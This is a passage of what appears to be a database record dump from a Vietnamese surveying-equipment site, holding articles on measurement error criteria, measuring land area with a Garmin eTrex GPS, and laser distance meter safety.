<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div>
',
'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-04-25',
'modified' => '2025-08-18',
'status' => '1',
'view' => '83021',
'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '937',
'rght' => '938',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 4 => array(
'Post' => array(
'id' => '535',
'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ',
'code' => null,
'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>',
'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br />
<br />
<strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br />
<br />
Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br />
<br />
- Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br />
<br />
- Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br />
<br />
- Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br />
Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br />
<br />
<strong>Phần 2: Tiến hành đo diện tích đất</strong><br />
<br />
<strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br />
<em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br />
<br />
Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br />
<em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br />
<br />
Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br />
<em>Hình 3. Nhấn Enter vào chữ Start</em><br />
<br />
Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br />
<em>Hình 4. Nhấn Enter vào chữ Calculate</em><br />
<br />
Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br />
<em>Hình 5. Hiển thị kết quả đo</em><br />
<br />
Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br />
Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br />
<em>Hình 6. Chuyển đơn vị đo</em><br />
<br />
<strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br />
</p>
<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
</p>
',
'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-04-24',
'modified' => '2025-08-18',
'status' => '1',
'view' => '56829',
'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '935',
'rght' => '936',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 5 => array(
'Post' => array(
'id' => '534',
'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser',
'code' => null,
'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br />
<br />
Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br />
<br />
- Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br />
- Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br />
- Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br />
- Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br />
- Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br />
- Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br />
- Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br />
<br />
<p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p>
',
'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-03-01',
'modified' => '2025-08-18',
'status' => '1',
'view' => '68990',
'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
